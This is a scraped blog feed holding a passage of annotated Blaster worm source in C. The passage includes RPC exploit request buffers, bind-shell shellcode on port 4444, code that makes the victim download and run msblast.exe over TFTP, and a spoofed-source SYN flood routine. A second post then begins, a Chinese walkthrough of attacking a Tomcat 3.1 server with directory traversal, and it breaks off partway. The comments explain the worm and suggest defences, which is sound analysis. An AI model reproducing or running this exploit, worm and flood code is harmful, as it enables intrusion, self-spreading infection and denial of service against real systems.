x40,0x00,0x00,0x00,0x20,0x00<br><br>,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10<br><br>,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF<br><br>,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10<br><br>,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09<br><br>,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00<br><br>,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00<br><br>,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00<br><br>,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00<br><br>,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00<br><br>,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E<br><br>,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00<br><br>,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00<br><br>,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00<br><br>,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00<br><br>,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00};<br><br>unsigned char request2[]={<br>0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00<br>,0x00,0x00,0x5C,0x00,0x5C,0x00};<br><br>unsigned char request3[]={<br>0x5C,0x00<br>,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00<br><br>,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00<br><br>,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00<br><br>,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};<br><br><br>unsigned char sc[]=<br>"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"<br>"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"<br>"\x46\x00\x58\x00\x46\x00\x58\x00"<br><br>"\xff\xff\xff\xff" /* return address */<br><br>"\xcc\xe0\xfd\x7f" /* primary thread data block */<br>"\xcc\xe0\xfd\x7f" /* primary thread data block */<br><br>/* port 4444 bindshell */<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br>"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"<br>"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"<br>"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"<br>"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"<br>"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"<br>"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"<br>"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"<br>"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"<br>"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"<br>"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"<br>"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"<br>"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"<br>"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"<br>"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"<br>"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"<br>"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"<br>"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"<br>"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"<br>"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"<br>"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"<br>"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"<br>"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"<br>"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"<br>"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"<br>"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"<br>"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"<br>"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"<br>"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"<br>"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"<br>"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"<br>"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"<br>"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";<br><br><br><br>unsigned char request4[]={<br>0x01,0x10<br>,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00<br><br>,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C<br><br>,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br>};<br><br>int ThreadId;<br>int len;<br>int sizeof_sa;<br>int ret;<br>int opt;<br>void *hThread;<br>struct sockaddr_in target_ip;<br>struct sockaddr_in sa;<br>int fd;<br>char cmdstr[0x200];<br>int len1;<br>unsigned char buf2[0x1000];<br>int i;<br><br>/* <br>* Turn off non-blocking (i.e. re-enable blocking mode) <br>* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')<br>* will slow down the spread of this worm. It takes a long<br>* time for blocking calls to timeout. I had several <br>* thousand worms halted by my 'deredoc' tarpit.<br>*/<br>opt = 0;<br>ioctlsocket(sock, FIONBIO , &amp;opt);<br><br>/*<br>* Choose whether the exploit targets Win2k or WinXP.<br>*/<br>if (winxp1_or_win2k2 == 1)<br>ret = 0x100139d;<br>else<br>ret = 0x18759f;<br>memcpy(sc+36, (unsigned char *) &amp;ret, 4);<br><br>/* ----------------------------------------------<br>* This section is just copied from the original exploit<br>* script. This is the same as the scripts that have been<br>* widely published on the Internet. */<br>len=sizeof(sc);<br>memcpy(buf2,request1,sizeof(request1));<br>len1=sizeof(request1);<br><br>*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; <br>*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;<br><br>memcpy(buf2+len1,request2,sizeof(request2));<br>len1=len1+sizeof(request2);<br>memcpy(buf2+len1,sc,sizeof(sc));<br>len1=len1+sizeof(sc);<br>memcpy(buf2+len1,request3,sizeof(request3));<br>len1=len1+sizeof(request3);<br>memcpy(buf2+len1,request4,sizeof(request4));<br>len1=len1+sizeof(request4);<br><br>*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;<br><br><br>*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; <br>*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;<br>*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;<br>*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;<br>*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;<br>*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;<br>*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;<br><br>if (send(sock,bindstr,sizeof(bindstr),0)== -1)<br>{<br>//perror("- Send");<br>return;<br>}<br><br><br>if (send(sock,buf2,len1,0)== -1)<br>{<br>//perror("- Send");<br>return;<br>}<br>closesocket(sock);<br>Sleep(400);<br>/* ----------------------------------------------*/<br><br><br>/*<br>* This section of code connects to the victim on port 4444.<br>* DEFENSE : This means you can block this worm by blocking<br>* TCP port 4444.<br>* FAQ: This port is only open for the brief instant needed<br>* to exploit the victim. Therefore, you can't scan for <br>* port 4444 in order to find Blaster victims.<br>*/<br>if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)<br>return;<br>memset(&amp;target_ip, 0, sizeof(target_ip));<br>target_ip.sin_family = AF_INET;<br>target_ip.sin_port = htons(SHELL_PORT_4444);<br>target_ip.sin_addr.s_addr = inet_addr(victim_ip);<br>if (target_ip.sin_addr.s_addr == SOCKET_ERROR)<br>return;<br>if (connect(fd, (struct sockaddr*)&amp;target_ip, <br>sizeof(target_ip)) == SOCKET_ERROR)<br>return;<br><br>/*<br>* This section recreates the IP address from whatever IP<br>* address this successfully connected to. In practice,<br>* the strings "victim_ip" and "target_ip_string" should be<br>* the same.<br>*/<br>memset(target_ip_string, 0, sizeof(target_ip_string));<br>sizeof_sa = sizeof(sa);<br>getsockname(fd, (struct sockaddr*)&amp;sa, &amp;sizeof_sa);<br>sprintf(target_ip_string, "%d.%d.%d.%d", <br>sa.sin_addr.s_net, sa.sin_addr.s_host, <br>sa.sin_addr.s_lh, sa.sin_addr.s_impno);<br><br>/*<br>* This section creates a temporary TFTP service that is <br>* ONLY alive during the period of time that the victim<br>* needs to download.<br>* FAQ: You can't scan for TFTP in order to find Blaster <br>* victims because the port is rarely open.<br>*/<br>if (fd_tftp_service)<br>closesocket(fd_tftp_service);<br>hThread = CreateThread(0,0,<br>blaster_tftp_thread,0,0,&amp;ThreadId);<br>Sleep(80); /*give time for thread to start*/<br><br>/*<br>* This sends the command<br>* tftp -i 1.2.3.4 GET msblast.exe<br>* to the victim. The "tftp.exe" program is built into<br>* Windows. It's intended purpose is to allow users to <br>* manually update their home wireless access points with<br>* new software (and other similar tasks). However, it is<br>* not intended as a generic file-transfer protocol (it<br>* stands for "trivial-file-transfer-protocol" -- it is<br>* intended for only trivial tasks). Since a lot of hacker<br>* exploits use the "tftp.exe" program, a good hardening<br>* step is to remove/rename it.<br>*/<br>sprintf(cmdstr, "tftp -i %s GET %s\n", <br>target_ip_string, MSBLAST_EXE);<br>if (send(fd, cmdstr, strlen(cmdstr), 0) &lt;= 0)<br>goto closesocket_and_return;<br><br>/* <br>* Wait 21 seconds for the victim to request the file, then<br>* for the file to be delivered via TFTP.<br>*/<br>Sleep(1000);<br>for (i=0; i&lt;10 &amp;&amp; is_tftp_running; i++)<br>Sleep(2000);<br><br>/*<br>* Assume the the transfer is successful, and send the <br>* command to start executing the newly downloaded program.<br>* BUFORD: The hacker starts this twice. Again, it <br>* demonstrates a lock of confidence, so he makes sure it's<br>* started by doing it twice in slightly different ways.<br>* Note that the "BILLY" mutex will prevent from actually<br>* running twice.<br>*/<br>sprintf(cmdstr, "start %s\n", MSBLAST_EXE);<br>if (send(fd, cmdstr, strlen(cmdstr), 0) &lt;= 0)<br>goto closesocket_and_return;<br>Sleep(2000);<br>sprintf(cmdstr, "%s\n", MSBLAST_EXE);<br>send(fd, cmdstr, strlen(cmdstr), 0);<br>Sleep(2000);<br><br><br>/*<br>* This section closes the things started in this procedure<br>*/<br>closesocket_and_return:<br><br>/* Close the socket for the remote command-prompt that has<br>* been established to the victim. */<br>if (fd != 0)<br>closesocket(fd);<br><br>/* Close the TFTP server that was launched above. As noted,<br>* this means that the TFTP service is not running most of<br>* the time, so it's not easy to scan for infected systems.<br>*/<br>if (is_tftp_running) {<br>TerminateThread(hThread,0);<br>closesocket(fd_tftp_service);<br>is_tftp_running = 0;<br>}<br>CloseHandle(hThread);<br>}<br><br><br>/**<br>* Convert the name into an IP address. If the IP address<br>* is formatted in decimal-dot-notation (e.g. 192.2.0.43),<br>* then return that IP address, otherwise do a DNS lookup<br>* on the address. Note that in the case of the worm,<br>* it always gives the string "windowsupdate.com" to this<br>* function, and since Microsoft turned off that name,<br>* the DNS lookup will usually fail, so this function<br>* generally returns -1 (SOCKET_ERROR), which means the<br>* address 255.255.255.255.<br>*/<br>int blaster_resolve_ip(const char *windowsupdate_com)<br>{<br>int result;<br><br>result = inet_addr(windowsupdate_com);<br>if (result == SOCKET_ERROR) {<br>HOSTENT *p_hostent = gethostbyname(windowsupdate_com);<br>if (p_hostent == NULL)<br>result = SOCKET_ERROR;<br>else<br>result = *p_hostent-&gt;h_addr;<br>}<br><br>return result;<br>}<br><br><br>/*<br>* This thre<br>*/<br>ULONG WINAPI blaster_DoS_thread(LPVOID p)<br>{<br>int opt = 1;<br>int fd;<br>int target_ip;<br><br><br>/* Lookup the domain-name. Note that no checking is done <br>* to ensure that the name is valid. Since Microsoft turned<br>* this off in their domain-name servers, this function now<br>* returns -1. */<br>target_ip = blaster_resolve_ip("windowsupdate.com");<br><br><br>/* Create a socket that the worm will blast packets at <br>* Microsoft from. This is what is known as a "raw" socket. <br>* So-called "raw-sockets" are ones where packets are <br>* custom-built by the programmer rather than by the TCP/IP <br>* stack. Note that raw-sockets were not available in Windows<br>* until Win2k. A cybersecurity pundit called Microsoft<br>* "irresponsible" for adding them. <br>* &lt;<a href="http://grc.com/dos/sockettome.htm%3E" target=_blank><u><font color=#0000ff>http://grc.com/dos/sockettome.htm&gt;</font></u></a><br>* That's probably an<br>* unfairly harsh judgement (such sockets are available in<br>* every other OS), but it's true that it puts the power of<br>* SYNflood attacks in the hands of lame worm writers. While<br>* the worm-writer would probably have chosen a different<br>* DoS, such as Slammer-style UDP floods, it's likely that<br>* Buford wouldn't have been able to create a SYNflood if<br>* raw-sockets had not been added to Win2k/WinXP. */<br>fd = WSASocket(<br>AF_INET, /*TCP/IP sockets*/<br>SOCK_RAW, /*Custom TCP/IP headers*/<br>IPPROTO_RAW,<br>NULL,<br>0,<br>WSA_FLAG_OVERLAPPED<br>);<br>if (fd == SOCKET_ERROR)<br>return 0;<br><br>/* Tell the raw-socket that IP headers will be created by the<br>* programmer rather than the stack. Most raw sockets in<br>* Windows will also have this option set. */<br>if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, <br>(char*)&amp;opt, sizeof(opt)) == SOCKET_ERROR)<br>return 0;<br><br><br>/* Now do the SYN flood. The worm writer decided to flood<br>* slowly by putting a 20-millisecond delay between packets<br>* -- causing only 500 packets/second, or roughly, 200-kbps.<br>* There are a couple of reasons why the hacker may have<br>* chosen this. <br>* 1. SYNfloods are not intended to be bandwidth floods,<br>* even slow rates are hard to deal with.<br>* 2. Slammer DoSed both the sender and receiver, therefore<br>* senders hunted down infected systems and removed<br>* them. This won't DoS the sender, so people are more<br>* likely not to care about a few infected machines.<br>*/<br>for (;;) {<br>blaster_send_syn_packet(target_ip, fd);<br><br>/* Q: How fast does it send the SYNflood?<br>* A: About 50 packets/second, where each packet is <br>* 320-bits in size, for a total of 15-kbps.<br>* It means that Buford probably intended for <br>* dialup users to be a big source of the DoS<br>* attack. He was smart enough to realize that <br>* faster floods would lead to users discovering<br>* the worm and turning it off. */<br>Sleep(20);<br>}<br><br><br>closesocket(fd);<br>return 0;<br>}<br><br><br><br>/*<br>* This is a standard TCP/IP checksum algorithm<br>* that you find all over the web.<br>*/<br>int blaster_checksum(const void *bufv, int length)<br>{<br>const unsigned short *buf = (const unsigned short *)bufv;<br>unsigned long result = 0;<br><br>while (length &gt; 1) {<br>result += *(buf++);<br>length -= sizeof(*buf); <br>}<br>if (length) result += *(unsigned char*)buf; <br>result = (result &gt;&gt; 16) + (result &amp; 0xFFFF);<br>result += (result &gt;&gt; 16); <br>result = (~result)&amp;0xFFFF; <br><br>return (int)result;<br>}<br><br><br><br>/*<br>* This is a function that uses "raw-sockets" in order to send<br>* a SYNflood at the victim, which is "windowsupdate.com" in <br>* the case of the Blaster worm.<br>*/<br>void blaster_send_syn_packet(int target_ip, int fd)<br>{<br><br>struct IPHDR<br>{<br>unsigned char verlen; /*IP version &amp; length */<br>unsigned char tos; /*IP type of service*/<br>unsigned short totallength;/*Total length*/<br>unsigned short id; /*Unique identifier */<br>unsigned short offset; /*Fragment offset field*/<br>unsigned char ttl; /*Time to live*/<br>unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/<br>unsigned short checksum; /*IP checksum*/<br>unsigned int srcaddr; /*Source address*/<br>unsigned int dstaddr; /*Destination address*/<br><br>};<br>struct TCPHDR<br>{<br>unsigned short srcport;<br>unsigned short dstport;<br>unsigned int seqno;<br>unsigned int ackno;<br>unsigned char offset;<br>unsigned char flags;<br>unsigned short window;<br>unsigned short checksum;<br>unsigned short urgptr;<br>};<br>struct PSEUDO<br>{<br>unsigned int srcaddr;<br>unsigned int dstaddr;<br>unsigned char padzero;<br>unsigned char protocol;<br>unsigned short tcplength;<br>};<br>struct PSEUDOTCP<br>{<br>unsigned int srcaddr;<br>unsigned int dstaddr;<br>unsigned char padzero;<br>unsigned char protocol;<br>unsigned short tcplength;<br>struct TCPHDR tcphdr;<br>};<br><br><br><br><br>char spoofed_src_ip[16];<br>unsigned short target_port = 80; /*SYNflood web servers*/<br>struct sockaddr_in to; <br>struct PSEUDO pseudo; <br>char buf[60] = {0}; <br>struct TCPHDR tcp;<br>struct IPHDR ip;<br>int source_ip;<br><br><br>/* Yet another randomizer-seeding */<br>srand(GetTickCount());<br><br>/* Generate a spoofed source address that is local to the<br>* current Class B subnet. This is pretty smart of Buford.<br>* Using just a single IP address allows defenders to turn<br>* it off on the firewall, whereas choosing a completely<br>* random IP address would get blocked by egress filters<br>* (because the source IP would not be in the proper range).<br>* Randomly choosing nearby IP addresses it probably the <br>* best way to evade defenses */<br>sprintf(spoofed_src_ip, "%i.%i.%i.%i", <br>local_class_a, local_class_b, rand()%255, rand()%255);<br>source_ip = blaster_resolve_ip(spoofed_src_ip);<br><br>/* Build the sockaddr_in structure. Normally, this is what<br>* the underlying TCP/IP stack uses to build the headers<br>* from. However, since the DoS attack creates its own<br>* headers, this step is largely redundent. */<br>to.sin_family = AF_INET;<br>to.sin_port = htons(target_port); /*this makes no sense */<br>to.sin_addr.s_addr = target_ip;<br><br>/* Create the IP header */<br>ip.verlen = 0x45;<br>ip.totallength = htons(sizeof(ip) + sizeof(tcp));<br>ip.id = 1;<br>ip.offset = 0;<br>ip.ttl = 128;<br>ip.protocol = IPPROTO_TCP;<br>ip.checksum = 0; /*for now, set to true value below */<br>ip.dstaddr = target_ip;<br><br>/* Create the TCP header */<br>tcp.dstport = htons(target_port);<br>tcp.ackno = 0;<br>tcp.offset = (unsigned char)(sizeof(tcp)&lt;&lt;4);<br>tcp.flags = 2; /*TCP_SYN*/<br>tcp.window = htons(0x4000);<br>tcp.urgptr = 0;<br>tcp.checksum = 0; /*for now, set to true value below */<br><br>/* Create pseudo header (which copies portions of the IP<br>* header for TCP checksum calculation).*/<br>pseudo.dstaddr = ip.dstaddr;<br>pseudo.padzero = 0;<br>pseudo.protocol = IPPROTO_TCP;<br>pseudo.tcplength = htons(sizeof(tcp));<br><br>/* Use the source adress chosen above that is close, but<br>* not the same, as the spreader's IP address */<br>ip.srcaddr = source_ip;<br><br>/* Choose a random source port in the range [1000-19999].*/<br>tcp.srcport = htons((unsigned short)((rand()%1000)+1000)); <br><br>/* Choose a random sequence number to start the connection.<br>* BUG: Buford meant htonl(), not htons(), which means seqno<br>* will be 15-bits, not 32-bits, i.e. in the range <br>* [0-32767]. (the Windows rand() function only returns<br>* 15-bits). */<br>tcp.seqno = htons((unsigned short)((rand()&lt;&lt;16)|rand()));<br><br>pseudo.srcaddr = source_ip;<br><br>/* Calculate TCP checksum */<br>memcpy(buf, &amp;pseudo, sizeof(pseudo));<br>memcpy(buf+sizeof(pseudo), &amp;tcp, sizeof(tcp));<br>tcp.checksum = blaster_checksum(buf, <br>sizeof(pseudo)+sizeof(tcp));<br><br>memcpy(buf, &amp;ip, sizeof(ip));<br>memcpy(buf+sizeof(ip), &amp;tcp, sizeof(tcp));<br><br>/* I have no idea what's going on here. The assembly code<br>* zeroes out a bit of memory near the buffer. I don't know<br>* if it is trying to zero out a real variable that happens<br>* to be at the end of the buffer, or if it is trying to zero<br>* out part of the buffer itself. */<br>memset(buf+sizeof(ip)+sizeof(tcp), 0,<br>sizeof(buf)-sizeof(ip)-sizeof(tcp));<br><br>/* Major bug here: the worm writer incorrectly calculates the<br>* IP checksum over the entire packet. This is incorrect --<br>* the IP checksum is just for the IP header itself, not for<br>* the TCP header or data. However, Windows fixes the checksum<br>* anyway, so the bug doesn't appear in the actual packets<br>* themselves.<br>*/<br>ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));<br><br>/* Copy the header over again. The reason for this is simply to<br>* copy over the checksum that was just calculated above, but<br>* it's easier doing this for the programmer rather than<br>* figuring out the exact offset where the checksum is<br>* located */<br>memcpy(buf, &amp;ip, sizeof(ip));<br><br>/* Send the packet */<br>sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,<br>(struct sockaddr*)&amp;to, sizeof(to));<br>}<br></span></p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-17 12:16 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/17/30229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何通过WEB入侵获得freebsd 4.0的root权限</title><link>http://www.cppblog.com/niewenlong/archive/2007/06/19/26595.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Mon, 18 Jun 2007 16:51:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/06/19/26595.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/26595.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/06/19/26595.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/26595.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/26595.html</trackback:ping><description><![CDATA[<span class=tpc_content>本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。 <br>文章主要以教育为目的，希望各位观者不要使用本文中的一些方法及程序，危害网络的安全。 <br>作者：lovehacker <br>联系方式：<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#108;&#111;&#118;&#101;&#104;&#97;&#99;&#107;&#101;&#114;&#64;&#50;&#54;&#51;&#46;&#110;&#101;&#116;"><font color=#000000>lovehacker@263.net</font></a> <br>网站地址： <a href="http://www.chinansl.com/" target=_blank><font color=#000000>http://www.chinansl.com</font></a> <br>版权属安盟信息科技有限责任公司所有，允许转载，但需保持文章的完整性。 <br><br><br>很偶然的一个机会，看到了一个网站，页面清新，很舒服的感觉。网站是用JSP开发的，由于个人爱好，所以我决定看看系统的安全性。 <br><br>telnet <a href="http://www.target.com/" target=_blank><font color=#000000>www.target.com</font></a> 8080 <br>GET /CHINANSL HTTP/1.1 <br>[Enter] <br>[Enter] <br>返回的结果如下： <br>HTTP/1.0 404 Not Found <br>Date: Sun, 08 Jul 2001 07:49:13 GMT <br>Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 <br>.2.12 i386; java.vendor=Blackdown Java-Linux Team) <br>Content-Language: en <br>Content-Type: text/html <br>Status: 404 <br><br>&lt;h1&gt;Error: 404&lt;/h1&gt; <br>&lt;h2&gt;Location: /CHINANSL&lt;/h2&gt;File Not Found&lt;br&gt;/CHINANSL <br>我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞，并且post到bugtrap上去过。 <br>大概是：通过".."技术可以退出WEB目录，于是： <br><a href="http://target:8080/../../../../%00.jsp" target=_blank><font color=#000000>http://target:8080/../../../../%00.jsp</font></a> （不行） <br><a href="http://target:8080/file/index.jsp" target=_blank><font color=#000000>http://target:8080/file/index.jsp</font></a> （不行） <br><a href="http://target:8080/index.JSP" target=_blank><font color=#000000>http://target:8080/index.JSP</font></a> （不行） <br><a href="http://target:8080/index.JSP" target=_blank><font 